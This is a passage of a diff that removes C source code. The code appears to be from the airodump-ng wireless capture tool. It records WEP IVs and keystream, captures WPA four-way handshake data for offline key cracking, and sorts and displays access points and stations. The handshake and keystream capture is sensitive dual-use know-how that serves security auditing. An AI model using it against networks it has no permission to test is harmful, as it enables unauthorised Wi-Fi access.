-						for (o = 0; o < num_xor; o++)
-						{
-							for (n = 0; n < (ivs2.len - 4); n++)
-							{
-								clear[2 + n + o * 32] = (clear[2 + n + o * 32]
-														 ^ h80211[z + 4 + n])
-														& 0xFF;
-							}
-						}
-						memcpy(clear + 4 + 1 + 1 + 32 * num_xor,
-							   weight,
-							   16 * sizeof(int));
-						// clear is now the keystream
-					}
-
-					if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
-					{
-						ivs2.flags |= IVS2_BSSID;
-						ivs2.len += 6;
-						memcpy(G.prev_bssid, ap_cur->bssid, 6);
-					}
-
-					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
-						!= (size_t) sizeof(struct ivs2_pkthdr))
-					{
-						perror("fwrite(IV header) failed");
-						return (1);
-					}
-
-					if (ivs2.flags & IVS2_BSSID)
-					{
-						if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
-						{
-							perror("fwrite(IV bssid) failed");
-							return (1);
-						}
-						ivs2.len -= 6;
-					}
-
-					if (fwrite(h80211 + z, 1, 4, G.f_ivs) != (size_t) 4)
-					{
-						perror("fwrite(IV iv+idx) failed");
-						return (1);
-					}
-					ivs2.len -= 4;
-
-					if (fwrite(clear, 1, ivs2.len, G.f_ivs)
-						!= (size_t) ivs2.len)
-					{
-						perror("fwrite(IV keystream) failed");
-						return (1);
-					}
-				}
-
-				uniqueiv_mark(ap_cur->uiv_root, &h80211[z]);
-
-				ap_cur->nb_data++;
-			}
-
-			// Record all data linked to IV to detect WEP Cloaking
-			if (G.f_ivs == NULL && G.detect_anomaly)
-			{
-				// Only allocate this when seeing WEP AP
-				if (ap_cur->data_root == NULL) ap_cur->data_root = data_init();
-
-				// Only works with full capture, not IV-only captures
-				if (data_check(ap_cur->data_root, &h80211[z], &h80211[z + 4])
-						== CLOAKING
-					&& ap_cur->EAP_detected == 0)
-				{
-
-					// If no EAP/EAP was detected, indicate WEP cloaking
-					memset(G.message, '\x00', sizeof(G.message));
-					snprintf(G.message,
-							 sizeof(G.message) - 1,
-							 "][ WEP Cloaking: %02X:%02X:%02X:%02X:%02X:%02X ",
-							 ap_cur->bssid[0],
-							 ap_cur->bssid[1],
-							 ap_cur->bssid[2],
-							 ap_cur->bssid[3],
-							 ap_cur->bssid[4],
-							 ap_cur->bssid[5]);
-				}
-			}
-		}
-		else
-		{
-			ap_cur->nb_data++;
-		}
-
-		z = ((h80211[1] & 3) != 3) ? 24 : 30;
-
-		/* Check if 802.11e (QoS) */
-		if ((h80211[0] & 0x80) == 0x80) z += 2;
-
-		if (z + 26 > (unsigned) caplen) goto write_packet;
-
-		z += 6; // skip LLC header
-
-		/* check ethertype == EAPOL */
-		if (h80211[z] == 0x88 && h80211[z + 1] == 0x8E
-			&& (h80211[1] & 0x40) != 0x40)
-		{
-			ap_cur->EAP_detected = 1;
-
-			z += 2; // skip ethertype
-
-			if (st_cur == NULL) goto write_packet;
-
-			/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
-
-			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
-				&& (h80211[z + 6] & 0x80) != 0
-				&& (h80211[z + 5] & 0x01) == 0)
-			{
-				memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
-				st_cur->wpa.state = 1;
-			}
-
-			/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
-
-			if (z + 17 + 32 > (unsigned) caplen) goto write_packet;
-
-			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
-				&& (h80211[z + 6] & 0x80) == 0
-				&& (h80211[z + 5] & 0x01) != 0)
-			{
-				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
-				{
-					memcpy(st_cur->wpa.snonce, &h80211[z + 17], 32);
-					st_cur->wpa.state |= 2;
-				}
-
-				if ((st_cur->wpa.state & 4) != 4)
-				{
-					st_cur->wpa.eapol_size
-						= (h80211[z + 2] << 8) + h80211[z + 3] + 4;
-
-					if (caplen - z < st_cur->wpa.eapol_size
-						|| st_cur->wpa.eapol_size == 0
-						|| caplen - z < 81 + 16
-						|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol))
-					{
-						// Ignore the packet trying to crash us.
-						st_cur->wpa.eapol_size = 0;
-						goto write_packet;
-					}
-
-					memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
-					memcpy(
-						st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
-					memset(st_cur->wpa.eapol + 81, 0, 16);
-					st_cur->wpa.state |= 4;
-					st_cur->wpa.keyver = h80211[z + 6] & 7;
-				}
-			}
-
-			/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
-
-			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) != 0
-				&& (h80211[z + 6] & 0x80) != 0
-				&& (h80211[z + 5] & 0x01) != 0)
-			{
-				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
-				{
-					memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
-					st_cur->wpa.state |= 1;
-				}
-
-				if ((st_cur->wpa.state & 4) != 4)
-				{
-					st_cur->wpa.eapol_size
-						= (h80211[z + 2] << 8) + h80211[z + 3] + 4;
-
-					if (caplen - (unsigned) z < st_cur->wpa.eapol_size
-						|| st_cur->wpa.eapol_size == 0
-						|| caplen - (unsigned) z < 81 + 16
-						|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol))
-					{
-						// Ignore the packet trying to crash us.
-						st_cur->wpa.eapol_size = 0;
-						goto write_packet;
-					}
-
-					memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
-					memcpy(
-						st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
-					memset(st_cur->wpa.eapol + 81, 0, 16);
-					st_cur->wpa.state |= 4;
-					st_cur->wpa.keyver = h80211[z + 6] & 7;
-				}
-			}
-
-			if (st_cur->wpa.state == 7 && !is_filtered_essid(ap_cur->essid))
-			{
-				memcpy(st_cur->wpa.stmac, st_cur->stmac, 6);
-				memcpy(G.wpa_bssid, ap_cur->bssid, 6);
-				memset(G.message, '\x00', sizeof(G.message));
-				snprintf(G.message,
-						 sizeof(G.message) - 1,
-						 "][ WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X ",
-						 G.wpa_bssid[0],
-						 G.wpa_bssid[1],
-						 G.wpa_bssid[2],
-						 G.wpa_bssid[3],
-						 G.wpa_bssid[4],
-						 G.wpa_bssid[5]);
-
-				if (G.f_ivs != NULL)
-				{
-					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-					ivs2.flags = 0;
-					ivs2.len = 0;
-
-					ivs2.len = sizeof(struct WPA_hdsk);
-					ivs2.flags |= IVS2_WPA;
-
-					if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
-					{
-						ivs2.flags |= IVS2_BSSID;
-						ivs2.len += 6;
-						memcpy(G.prev_bssid, ap_cur->bssid, 6);
-					}
-
-					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
-						!= (size_t) sizeof(struct ivs2_pkthdr))
-					{
-						perror("fwrite(IV header) failed");
-						return (1);
-					}
-
-					if (ivs2.flags & IVS2_BSSID)
-					{
-						if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
-						{
-							perror("fwrite(IV bssid) failed");
-							return (1);
-						}
-						ivs2.len -= 6;
-					}
-
-					if (fwrite(
-							&(st_cur->wpa), 1, sizeof(struct WPA_hdsk), G.f_ivs)
-						!= (size_t) sizeof(struct WPA_hdsk))
-					{
-						perror("fwrite(IV wpa_hdsk) failed");
-						return (1);
-					}
-				}
-			}
-		}
-	}
-
-write_packet:
-
-	if (ap_cur != NULL)
-	{
-		if (h80211[0] == 0x80 && G.one_beacon)
-		{
-			if (!ap_cur->beacon_logged)
-				ap_cur->beacon_logged = 1;
-			else
-				return (0);
-		}
-	}
-
-	if (G.record_data)
-	{
-		if (((h80211[0] & 0x0C) == 0x00) && ((h80211[0] & 0xF0) == 0xB0))
-		{
-			/* authentication packet */
-			check_shared_key(h80211, caplen);
-		}
-	}
-
-	if (ap_cur != NULL)
-	{
-		if (ap_cur->security != 0 && G.f_encrypt != 0
-			&& ((ap_cur->security & G.f_encrypt) == 0))
-		{
-			return (1);
-		}
-
-		if (is_filtered_essid(ap_cur->essid))
-		{
-			return (1);
-		}
-	}
-
-	/* this changes the local ap_cur, st_cur and na_cur variables and should be
-	 * the last check before the actual write */
-	if (caplen < 24 && caplen >= 10 && h80211[0])
-	{
-		/* RTS || CTS || ACK || CF-END || CF-END&CF-ACK*/
-		//(h80211[0] == 0xB4 || h80211[0] == 0xC4 || h80211[0] == 0xD4 ||
-		// h80211[0] == 0xE4 || h80211[0] == 0xF4)
-
-		/* use general control frame detection, as the structure is always the
-		 * same: mac(s) starting at [4] */
-		if (h80211[0] & 0x04)
-		{
-			p = h80211 + 4;
-			while (p <= h80211 + 16 && p <= h80211 + caplen)
-			{
-				memcpy(namac, p, 6);
-
-				if (memcmp(namac, NULL_MAC, 6) == 0)
-				{
-					p += 6;
-					continue;
-				}
-
-				if (memcmp(namac, BROADCAST, 6) == 0)
-				{
-					p += 6;
-					continue;
-				}
-
-				if (G.hide_known)
-				{
-					/* check AP list */
-					ap_cur = G.ap_1st;
-					ap_prv = NULL;
-
-					while (ap_cur != NULL)
-					{
-						if (!memcmp(ap_cur->bssid, namac, 6)) break;
-
-						ap_prv = ap_cur;
-						ap_cur = ap_cur->next;
-					}
-
-					/* if it's an AP, try next mac */
-
-					if (ap_cur != NULL)
-					{
-						p += 6;
-						continue;
-					}
-
-					/* check ST list */
-					st_cur = G.st_1st;
-					st_prv = NULL;
-
-					while (st_cur != NULL)
-					{
-						if (!memcmp(st_cur->stmac, namac, 6)) break;
-
-						st_prv = st_cur;
-						st_cur = st_cur->next;
-					}
-
-					/* if it's a client, try next mac */
-
-					if (st_cur != NULL)
-					{
-						p += 6;
-						continue;
-					}
-				}
-
-				/* not found in either AP list or ST list, look through NA list
-				 */
-				na_cur = G.na_1st;
-				na_prv = NULL;
-
-				while (na_cur != NULL)
-				{
-					if (!memcmp(na_cur->namac, namac, 6)) break;
-
-					na_prv = na_cur;
-					na_cur = na_cur->next;
-				}
-
-				/* update our chained list of unknown stations */
-				/* if it's a new mac, add it */
-
-				if (na_cur == NULL)
-				{
-					if (!(na_cur
-						  = (struct NA_info *) malloc(sizeof(struct NA_info))))
-					{
-						perror("malloc failed");
-						return (1);
-					}
-
-					memset(na_cur, 0, sizeof(struct NA_info));
-
-					if (G.na_1st == NULL)
-						G.na_1st = na_cur;
-					else
-						na_prv->next = na_cur;
-
-					memcpy(na_cur->namac, namac, 6);
-
-					na_cur->prev = na_prv;
-
-					gettimeofday(&(na_cur->tv), NULL);
-					na_cur->tinit = time(NULL);
-					na_cur->tlast = time(NULL);
-
-					na_cur->power = -1;
-					na_cur->channel = -1;
-					na_cur->ack = 0;
-					na_cur->ack_old = 0;
-					na_cur->ackps = 0;
-					na_cur->cts = 0;
-					na_cur->rts_r = 0;
-					na_cur->rts_t = 0;
-				}
-
-				/* update the last time seen & power*/
-
-				na_cur->tlast = time(NULL);
-				na_cur->power = ri->ri_power;
-				na_cur->channel = ri->ri_channel;
-
-				switch (h80211[0] & 0xF0)
-				{
-					case 0xB0:
-						if (p == h80211 + 4) na_cur->rts_r++;
-						if (p == h80211 + 10) na_cur->rts_t++;
-						break;
-
-					case 0xC0:
-						na_cur->cts++;
-						break;
-
-					case 0xD0:
-						na_cur->ack++;
-						break;
-
-					default:
-						na_cur->other++;
-						break;
-				}
-
-				/*grab next mac (for rts frames)*/
-				p += 6;
-			}
-		}
-	}
-
-	if (G.f_cap != NULL && caplen >= 10)
-	{
-		pkh.caplen = pkh.len = caplen;
-
-		gettimeofday(&tv, NULL);
-
-		pkh.tv_sec = tv.tv_sec;
-		pkh.tv_usec = (tv.tv_usec & ~0x1ff) + ri->ri_power + 64;
-
-		n = sizeof(pkh);
-
-		if (fwrite(&pkh, 1, n, G.f_cap) != (size_t) n)
-		{
-			perror("fwrite(packet header) failed");
-			return (1);
-		}
-
-		fflush(stdout);
-
-		n = pkh.caplen;
-
-		if (fwrite(h80211, 1, n, G.f_cap) != (size_t) n)
-		{
-			perror("fwrite(packet data) failed");
-			return (1);
-		}
-
-		fflush(stdout);
-	}
-
-	return (0);
-}
-
-static void dump_sort(void)
-{
-	time_t tt = time(NULL);
-
-	/* thanks to Arnaud Cornet :-) */
-
-	struct AP_info * new_ap_1st = NULL;
-	struct AP_info * new_ap_end = NULL;
-
-	struct ST_info * new_st_1st = NULL;
-	struct ST_info * new_st_end = NULL;
-
-	struct ST_info *st_cur, *st_min;
-	struct AP_info *ap_cur, *ap_min;
-
-	/* sort the aps by WHATEVER first */
-
-	while (G.ap_1st)
-	{
-		ap_min = NULL;
-		ap_cur = G.ap_1st;
-
-		while (ap_cur != NULL)
-		{
-			if (tt - ap_cur->tlast > 20) ap_min = ap_cur;
-
-			ap_cur = ap_cur->next;
-		}
-
-		if (ap_min == NULL)
-		{
-			ap_min = ap_cur = G.ap_1st;
-
-			/*#define SORT_BY_BSSID	1
-#define SORT_BY_POWER	2
-#define SORT_BY_BEACON	3
-#define SORT_BY_DATA	4
-#define SORT_BY_PRATE	6
-#define SORT_BY_CHAN	7
-#define	SORT_BY_MBIT	8
-#define SORT_BY_ENC	9
-#define SORT_BY_CIPHER	10
-#define SORT_BY_AUTH	11
-#define SORT_BY_ESSID	12*/
-
-			while (ap_cur != NULL)
-			{
-				switch (G.sort_by)
-				{
-					case SORT_BY_BSSID:
-						if (memcmp(ap_cur->bssid, ap_min->bssid, 6) * G.sort_inv
-							< 0)
-							ap_min = ap_cur;
-						break;
-					case SORT_BY_POWER:
-						if ((ap_cur->avg_power - ap_min->avg_power) * G.sort_inv
-							< 0)
-							ap_min = ap_cur;
-						break;
-					case SORT_BY_BEACON:
-						if ((ap_cur->nb_bcn < ap_min->nb_bcn) && G.sort_inv)
-							ap_min = ap_cur;
-						break;
-					case SORT_BY_DATA:
-						if ((ap_cur->nb_data < ap_min->nb_data) && G.sort_inv)
-							ap_min = ap_cur;
-						break;
-					case SORT_BY_PRATE:
-						if ((ap_cur->nb_dataps - ap_min->nb_dataps) * G.sort_inv
-							< 0)
-							ap_min = ap_cur;
-						break;
-					case SORT_BY_CHAN:
-						if ((ap_cur->channel - ap_min->channel) * G.sort_inv
-							< 0)
-							ap_min = ap_cur;
-						break;
-					case SORT_BY_MBIT:
-						if ((ap_cur->max_speed - ap_min->max_speed) * G.sort_inv
-							< 0)
-							ap_min = ap_cur;
-						break;
-					case SORT_BY_ENC:
-						if (((ap_cur->security & STD_FIELD)
-							 - (ap_min->security & STD_FIELD))
-								* G.sort_inv
-							< 0)
-							ap_min = ap_cur;
-						break;
-					case SORT_BY_CIPHER:
-						if (((ap_cur->security & ENC_FIELD)
-							 - (ap_min->security & ENC_FIELD))
-								* G.sort_inv
-							< 0)
-							ap_min = ap_cur;
-						break;
-					case SORT_BY_AUTH:
-						if (((ap_cur->security & AUTH_FIELD)
-							 - (ap_min->security & AUTH_FIELD))
-								* G.sort_inv
-							< 0)
-							ap_min = ap_cur;
-						break;
-					case SORT_BY_ESSID:
-						if ((strncasecmp((char *) ap_cur->essid,
-										 (char *) ap_min->essid,
-										 MAX_IE_ELEMENT_SIZE))
-								* G.sort_inv
-							< 0)
-							ap_min = ap_cur;
-						break;
-					default: // sort by power
-						if (ap_cur->avg_power < ap_min->avg_power)
-							ap_min = ap_cur;
-						break;
-				}
-				ap_cur = ap_cur->next;
-			}
-		}
-
-		if (ap_min == G.ap_1st) G.ap_1st = ap_min->next;
-
-		if (ap_min == G.ap_end) G.ap_end = ap_min->prev;
-
-		if (ap_min->next) ap_min->next->prev = ap_min->prev;
-
-		if (ap_min->prev) ap_min->prev->next = ap_min->next;
-
-		if (new_ap_end)
-		{
-			new_ap_end->next = ap_min;
-			ap_min->prev = new_ap_end;
-			new_ap_end = ap_min;
-			new_ap_end->next = NULL;
-		}
-		else
-		{
-			new_ap_1st = new_ap_end = ap_min;
-			ap_min->next = ap_min->prev = NULL;
-		}
-	}
-
-	G.ap_1st = new_ap_1st;
-	G.ap_end = new_ap_end;
-
-	/* now sort the stations */
-
-	while (G.st_1st)
-	{
-		st_min = NULL;
-		st_cur = G.st_1st;
-
-		while (st_cur != NULL)
-		{
-			if (tt - st_cur->tlast > 60) st_min = st_cur;
-
-			st_cur = st_cur->next;
-		}
-
-		if (st_min == NULL)
-		{
-			st_min = st_cur = G.st_1st;
-
-			while (st_cur != NULL)
-			{
-				if (st_cur->power < st_min->power) st_min = st_cur;
-
-				st_cur = st_cur->next;
-			}
-		}
-
-		if (st_min == G.st_1st) G.st_1st = st_min->next;
-
-		if (st_min == G.st_end) G.st_end = st_min->prev;
-
-		if (st_min->next) st_min->next->prev = st_min->prev;
-
-		if (st_min->prev) st_min->prev->next = st_min->next;
-
-		if (new_st_end)
-		{
-			new_st_end->next = st_min;
-			st_min->prev = new_st_end;
-			new_st_end = st_min;
-			new_st_end->next = NULL;
-		}
-		else
-		{
-			new_st_1st = new_st_end = st_min;
-			st_min->next = st_min->prev = NULL;
-		}
-	}
-
-	G.st_1st = new_st_1st;
-	G.st_end = new_st_end;
-}
-
-static int getBatteryState(void) { return get_battery_state(); }
-
-static char * getStringTimeFromSec(double seconds)
-{
-	int hour[3];
-	char * ret;
-	char * HourTime;
-	char * MinTime;
-
-	if (seconds < 0) return NULL;
-
-	ret = (char *) calloc(1, 256);
-
-	HourTime = (char *) calloc(1, 128);
-	MinTime = (char *) calloc(1, 128);
-
-	hour[0] = (int) (seconds);
-	hour[1] = hour[0] / 60;
-	hour[2] = hour[1] / 60;
-	hour[0] %= 60;
-	hour[1] %= 60;
-
-	if (hour[2] != 0)
-		snprintf(
-			HourTime, 128, "%d %s", hour[2], (hour[2] == 1) ? "hour" : "hours");
-	if (hour[1] != 0)
-		snprintf(
-			MinTime, 128, "%d %s", hour[1], (hour[1] == 1) ? "min" : "mins");
-
-	if (hour[2] != 0 && hour[1] != 0)
-		snprintf(ret, 256, "%s %s", HourTime, MinTime);
-	else
-	{
-		if (hour[2] == 0 && hour[1] == 0)
-			snprintf(ret, 256, "%d s", hour[0]);
-		else
-			snprintf(ret, 256, "%s", (hour[2] == 0) ? MinTime : HourTime);
-	}
-
-	free(MinTime);
-	free(HourTime);
-
-	return ret;
-}
-
-static char * getBatteryString(void)
-{
-	int batt_time;
-	char * ret;
-	char * batt_string;
-
-	batt_time = getBatteryState();
-
-	if (batt_time <= 60)
-	{
-		ret = (char *) calloc(1, 2);
-		ret[0] = ']';
-		return ret;
-	}
-
-	batt_string = getStringTimeFromSec((double) batt_time);
-
-	ret = (char *) calloc(1, 256);
-
-	snprintf(ret, 256, "][ BAT: %s ]", batt_string);
-
-	free(batt_string);
-
-	return ret;
-}
-
-static int get_ap_list_count(void)
-{
-	time_t tt;
-	struct tm * lt;
-	struct AP_info * ap_cur;
-
-	int num_ap;
-
-	tt = time(NULL);
-	lt = localtime(&tt);
-
-	ap_cur = G.ap_end;
-
-	num_ap = 0;
-
-	while (ap_cur != NULL)
-	{
-		/* skip APs with only one packet, or those older than 2 min.
-		 * always skip if bssid == broadcast */
-
-		if (ap_cur->nb_pkt < 2 || time(NULL) - ap_cur->tlast > G.berlin
-			|| memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
-		{
-			ap_cur = ap_cur->prev;
-			continue;
-		}
-
-		if (ap_cur->security != 0 && G.f_encrypt != 0
-			&& ((ap_cur->security & G.f_encrypt) == 0))
-		{
-			ap_cur = ap_cur->prev;
-			continue;
-		}
-
-		if (is_filtered_essid(ap_cur->essid))
-		{
-			ap_cur = ap_cur->prev;
-			continue;
-		}
-
-		num_ap++;
-		ap_cur = ap_cur->prev;
-	}
-
-	return num_ap;
-}
-
-static int get_sta_list_count(void)
-{
-	time_t tt;
-	struct tm * lt;
-	struct AP_info * ap_cur;
-	struct ST_info * st_cur;
-
-	int num_sta;
-
-	tt = time(NULL);
-	lt = localtime(&tt);
-
-	ap_cur = G.ap_end;
-
-	num_sta = 0;
-
-	while (ap_cur != NULL)
-	{
-		if (ap_cur->nb_pkt < 2 || time(NULL) - ap_cur->tlast > G.berlin)
-		{
-			ap_cur = ap_cur->prev;
-			continue;
-		}
-
-		if (ap_cur->security != 0 && G.f_encrypt != 0
-			&& ((ap_cur->security & G.f_encrypt) == 0))
-		{
-			ap_cur = ap_cur->prev;
-			continue;
-		}
-
-		// Don't filter unassociated clients by ESSID
-		if (memcmp(ap_cur->bssid, BROADCAST, 6)
-			&& is_filtered_essid(ap_cur->essid))
-		{
-			ap_cur = ap_cur->prev;
-			continue;
-		}
-
-		st_cur = G.st_end;
-
-		while (st_cur != NULL)
-		{
-			if (st_cur->base != ap_cur || time(NULL) - st_cur->tlast > G.berlin)
-			{
-				st_cur = st_cur->prev;
-				continue;
-			}
-
-			if (!memcmp(ap_cur->bssid, BROADCAST, 6) && G.asso_client)
-			{
-				st_cur = st_cur->prev;
-				continue;
-			}
-
-			num_sta++;
-
-			st_cur = st_cur->prev;
-		}
-
-		ap_cur = ap_cur->prev;
-	}
-	return num_sta;
-}
-
-#define TSTP_SEC                                                               \
-	1000000ULL /* It's a 1 MHz clock, so a million ticks per second! */
-#define TSTP_MIN (TSTP_SEC * 60ULL)
-#define TSTP_HOUR (TSTP_MIN * 60ULL)
-#define TSTP_DAY (TSTP_HOUR * 24ULL)
-
-static char * parse_timestamp(unsigned long long timestamp)
-{
-#define TSTP_LEN 15
-	static char s[TSTP_LEN];
-	unsigned long long rem;
-	unsigned char days, hours, mins, secs;
-
-	// Initialize array
-	memset(s, 0, TSTP_LEN);
-
-	// Calculate days, hours, mins and secs
-	days = timestamp / TSTP_DAY;
-	rem = timestamp % TSTP_DAY;
-	hours = (unsigned char) (rem / TSTP_HOUR);
-	rem %= TSTP_HOUR;
-	mins = (unsigned char) (rem / TSTP_MIN);
-	rem %= TSTP_MIN;
-	secs = (unsigned char) (rem / TSTP_SEC);
-
-	snprintf(s, TSTP_LEN, "%3ud %02u:%02u:%02u", days, hours, mins, secs);
-#undef TSTP_LEN
-
-	return s;
-}
-
-static void dump_print(int ws_row, int ws_col, int if_num)
-{
-	time_t tt;
-	struct tm * lt;
-	int nlines, i, n;
-	char strbuf[512];
-	char buffer[512];
-	char ssid_list[512];
-	struct AP_info * ap_cur;
-	struct ST_info * st_cur;
-	struct NA_info * na_cur;
-	int columns_ap = 83;
-	int columns_sta = 74;
-	int columns_na = 68;
-	ssize_t len;
-
-	int num_ap;
-	int num_sta;
-
-	if (!G.singlechan) columns_ap -= 4; // no RXQ in scan mode
-	if (G.show_uptime) columns_ap += 15; // show uptime needs more space
-
-	nlines = 2;
-
-	if (nlines >= ws_row) return;
-
-	if (G.do_sort_always)
-	{
-		pthread_mutex_lock(&(G.mx_sort));
-		dump_sort();
-		pthread_mutex_unlock(&(G.mx_sort));
-	}
-
-	tt = time(NULL);
-	lt = localtime(&tt);
-
-	if (G.is_berlin)
-	{
-		G.maxaps = 0;
-		G.numaps = 0;
-		ap_cur = G.ap_end;
-
-		while (ap_cur != NULL)
-		{
-			G.maxaps++;
-			if (ap_cur->nb_pkt < 2 || time(NULL) - ap_cur->tlast > G.berlin
-				|| memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
-			{
-				ap_cur = ap_cur->prev;
-				continue;
-			}
-			G.numaps++;
-			ap_cur = ap_cur->prev;
-		}
-
-		if (G.numaps > G.maxnumaps) G.maxnumaps = G.numaps;
-
-		//        G.maxaps--;
-	}
-
-	/*
-	 *  display the channel, battery, position (if we are connected to GPSd)
-	 *  and current time
-	 */
-
-	memset(strbuf, '\0', sizeof(strbuf));
-	strbuf[ws_col - 1] = '\0';
-	fprintf(stderr, "%s\n", strbuf);
-
-	if (G.freqoption)
-	{
-		snprintf(strbuf, sizeof(strbuf) - 1, " Freq %4d", G.frequency[0]);
-		for (i = 1; i < if_num; i++)
-		{
-			memset(buffer, '\0', sizeof(buffer));
-			snprintf(buffer, sizeof(buffer), ",%4d", G.frequency[i]);
-			strncat(strbuf, buffer, sizeof(strbuf) - strlen(strbuf) - 1);
-		}
-	}
-	else
-	{
-		snprintf(strbuf, sizeof(strbuf) - 1, " CH %2d", G.channel[0]);
-		for (i = 1; i < if_num; i++)
-		{
-			memset(buffer, '\0', sizeof(buffer));
-			snprintf(buffer, sizeof(buffer), ",%2d", G.channel[i]);
-			strncat(strbuf, buffer, sizeof(strbuf) - strlen(strbuf) - 1);
-		}
-	}
-	memset(buffer, '\0', sizeof(buffer));
-
-	if (G.gps_loc[0])
-	{
-		snprintf(buffer,
-				 sizeof(buffer) - 1,
-				 " %s[ GPS %8.3f %8.3f %8.3f %6.2f "
-				 "][ Elapsed: %s ][ %04d-%02d-%02d %02d:%02d ",
-				 G.batt,
-				 G.gps_loc[0],
-				 G.gps_loc[1],
-				 G.gps_loc[2],
-				 G.gps_loc[3],
-				 G.elapsed_time,
-				 1900 + lt->tm_year,
-				 1 + lt->tm_mon,
-				 lt->tm_mday,
-				 lt->tm_hour,
-				 lt->tm_min);
-	}
-	else
-	{
-		snprintf(buffer,
-				 sizeof(buffer) - 1,
-				 " %s[ Elapsed: %s ][ %04d-%02d-%02d %02d:%02d ",
-				 G.batt,
-				 G.elapsed_time,
-				 1900 + lt->tm_year,
-				 1 + lt->tm_mon,
-				 lt->tm_mday,
-				 lt->tm_hour,
-				 lt->tm_min);
-	}
-
-	strncat(strbuf, buffer, (512 - strlen(strbuf)));
-	memset(buffer, '\0', 512);
-
-	if (G.is_berlin)
-	{
-		snprintf(buffer,
-				 sizeof(buffer) - 1,
-				 " ][%3d/%3d/%4d ",
-				 G.numaps,
-				 G.maxnumaps,
-				 G.maxaps);
-	}
-
-	strncat(strbuf, buffer, (512 - strlen(strbuf)));
-	memset(buffer, '\0', 512);
-
-	if (strlen(G.message) > 0)
-	{
-		strncat(strbuf, G.message, (512 - strlen(strbuf)));
-	}
-
-	// add traling spaces to overwrite previous messages
-	strncat(strbuf,
-			"                                        ",
-			(512 - strlen(strbuf)));
-
-	strbuf[ws_col - 1] = '\0';
-	fprintf(stderr, "%s\n", strbuf);
-
-	/* print some information about each detected AP */
-
-	nlines += 3;
-
-	if (nlines >= ws_row) return;
-
-	memset(strbuf, ' ', ws_col - 1);
-	strbuf[ws_col - 1] = '\0';
-	fprintf(stderr, "%s\n", strbuf);
-
-	if (G.show_ap)
-	{
-
-		strbuf[0] = 0;
-		strcat(strbuf, " BSSID              PWR ");
-
-		if (G.singlechan) strcat(strbuf, "RXQ ");
-
-		strcat(strbuf, " Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ");
-
-		if (G.show_uptime) strcat(strbuf, "       UPTIME  ");
-
-		if (G.show_wps)
-		{
-			strcat(strbuf, "WPS   ");
-			if (ws_col > (columns_ap - 4))
-			{
-				memset(strbuf + columns_ap, 32, G.maxsize_wps_seen - 6);
-				snprintf(strbuf + columns_ap + G.maxsize_wps_seen - 6,
-						 9,
-						 "%s",
-						 "   ESSID");
-				if (G.show_manufacturer)
-				{
-					memset(strbuf + columns_ap + G.maxsize_wps_seen + 2,
-						   32,
-						   G.maxsize_essid_seen - 5);
-					snprintf(strbuf + columns_ap + G.maxsize_essid_seen - 5,
-							 15,
-							 "%s",
-							 "  MANUFACTURER");
-				}
-			}
-		}
-		else
-		{
-			strcat(strbuf, "ESSID");
-
-			if (G.show_manufacturer && (ws_col > (columns_ap - 4)))
-			{
-				// write spaces (32).
-				memset(strbuf + columns_ap,
-					   32,
-					   G.maxsize_essid_seen - 5); // 5 is the len of "ESSID"
-				snprintf(strbuf + columns_ap + G.maxsize_essid_seen - 5,
-						 15,
-						 "%s",
-						 "  MANUFACTURER");
-			}
-		}
-		strbuf[ws_col - 1] = '\0';
-		fprintf(stderr, "%s\n", strbuf);
-
-		memset(strbuf, ' ', ws_col - 1);
-		strbuf[ws_col - 1] = '\0';
-		fprintf(stderr, "%s\n", strbuf);
-
-		ap_cur = G.ap_end;
-
-		if (G.selection_ap)
-		{
-			num_ap = get_ap_list_count();
-			if (G.selected_ap > num_ap) G.selected_ap = num_ap;
-		}
-
-		if (G.selection_sta)
-		{
-			num_sta = get_sta_list_count();
-			if (G.selected_sta > num_sta) G.selected_sta = num_sta;
-		}
-
-		num_ap = 0;
-
-		if (G.selection_ap)
-		{
-			G.start_print_ap = G.selected_ap - ((ws_row - 1) - nlines) + 1;
-			if (G.start_print_ap < 1) G.start_print_ap = 1;
-			//	printf("%i\n", G.start_print_ap);
-		}
-
-		while (ap_cur != NULL)
-		{
-			/* skip APs with only one packet, or those older than 2 min.
-		* always skip if bssid == broadcast */
-
-			if (ap_cur->nb_pkt < 2 || time(NULL) - ap_cur->tlast > G.berlin
-				|| memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
-			{
-				ap_cur = ap_cur->prev;
-				continue;
-			}
-
-			if (ap_cur->security != 0 && G.f_encrypt != 0
-				&& ((ap_cur->security & G.f_encrypt) == 0))
-			{
-				ap_cur = ap_cur->prev;
-				continue;
-			}
-
-			if (is_filtered_essid(ap_cur->essid))
-			{
-				ap_cur = ap_cur->prev;
-				continue;
-			}
-
-			num_ap++;
-
-			if (num_ap < G.start_print_ap)
-			{
-				ap_cur = ap_cur->prev;
-				continue;
-			}
-
-			nlines++;
-
-			if (nlines > (ws_row - 1)) return;
-
-			memset(strbuf, '\0', sizeof(strbuf));
-
-			snprintf(strbuf,
-					 sizeof(strbuf),
